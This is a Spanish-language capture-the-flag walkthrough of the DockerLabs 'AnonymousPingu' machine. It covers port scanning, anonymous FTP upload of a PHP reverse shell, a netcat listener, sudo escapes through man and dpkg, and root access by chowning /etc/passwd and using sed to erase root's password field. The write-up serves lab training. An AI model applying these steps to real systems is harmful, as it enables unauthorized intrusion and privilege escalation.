AnonymousPingu - DockerLabs

14 Oct 2024

OS	Dificultad	Creator
Linux	Facil	ElPinguinoDeMario

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo. Descubrimos que los puertos que se encuentran activos son el 21 (FTP) y el 80 (HTTP).

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 

• -p-: Escanea todos los puertos (1-65535).
• --open: Solo muestra los puertos abiertos.
• -sS: Realiza un escaneo SYN, que es rápido y discreto.
• --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
• -n: No realiza resolución DNS.
• -Pn: No realiza ping previo para determinar si el host está activo.
• -vvv: Muestra resultados detallados y en tiempo real.

A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.

nmap -p 21,80 -sCV 172.17.0.2 -oG targeted

Exploración Web

Al acceder a la página web, observamos lo siguiente:

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img

• gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
• -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
• -w Especifica que diccionario queremos usar
• -x Para indicar que tipo de extension queremos que nos encuentre

Vemos que hay un directorio upload pero no hay nada dentro.

FTP

Procedemos a explorar el servicio FTP, ya que hemos identificado anteriormente que el usuario anonymous está habilitado y que tenemos permisos de escritura en el directorio upload.

Nota: Los usuarios anonymous no suelen tener contraseñas o son opcionales en muchos servidores FTP.

A continuación, intentamos conectarnos al servidor FTP utilizando el siguiente comando:

ftp 172.17.0.2

Al intentar acceder al servidor FTP con el usuario anonymous y sin contraseña, observamos que podemos entrar perfectamente.

Intrusión en la Máquina

Generamos la reverseshell utilizando Pentest Monkey, una herramienta popular para crear shells PHP que nos permiten obtener acceso remoto al servidor. La ruta de la reverseshell es la siguiente:

Reverseshell de Pentest Monkey

Pasos para Cargar la Reverseshell

1. Preparar la Reverseshell: Creamos un archivo de reverseshell en nuestro sistema local utilizando el código disponible en la ruta mencionada anteriormente.
2. Subir el Archivo: Utilizamos el comando de FTP para subir el archivo al directorio upload.
3. Ejecutar la Reverseshell: Una vez que el archivo esté en el servidor, lo ejecutaremos para establecer la conexión.

Nos ponemos a escuchar por netcat en mi caso por el 4444

nc -lvnp 4444

Luego, accedemos a la ruta de la página web donde hemos cargado la reverseshell:

Y ya tendriamos acceso a la maquina.

TTY ReverseShell

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Usuario pingu

Ya estamos dentro de la máquina. Si ejecutamos el comando sudo -l, vemos que podemos ejecutar man como Pingu. Para ello, debemos hacer lo siguiente:

Esta herramienta tiene una sección al final que muestra MORE. Si en lugar de desplazarnos hacia abajo, escribimos !/bin/bash, se generará una shell con ese usuario.

sudo -u pingu /usr/bin/man find

Si ahora ponemos !/bin/bash:

Vemos que hemos subido de usuario y ya estamos con el usuario pingu.

Usuario gladys

Vamos a volver a ejecutar el comando sudo -l.

Observamos que podemos ejecutar nmap y dpkg como gladys. En mi caso, utilizaré dpkg y aplicaré el mismo método que antes con man. En mi caso, utilizaré dpkg y aplicaré el mismo método que antes con man.

sudo -u gladys /usr/bin/dpkg -l

Si ahora ponemos !/bin/bash:

Vemos que hemos subido de usuario y ya estamos con el usuario gladys.

Usuario root

Vamos a volver a ejecutar sudo -l.

Observamos que podemos ejecutar chown como root. Para ello, procedemos de la siguiente manera:

Primero cambiamos los permisos de /etc/passwd para que nuestro usuario tenga permisos:

sudo /usr/bin/chown $(id -un):$(id -gn) /etc/passwd

Dado que no podemos usar nano o vim porque no están en el sistema instalados, utilizaremos sed para que elimine la X que tiene root para que la contraseña no nos la pida.

sed 's/^root:[^:]*:/root::/' /etc/passwd > /etc/passwd1

Para finalizar copiamos el /etc/passwd1 donde esta el original para que lo sobreescriba

cp /etc/passwd1 /etc/passwd

Ahora hacemos un su root y accederemos al usuario root sin proporcionar contraseña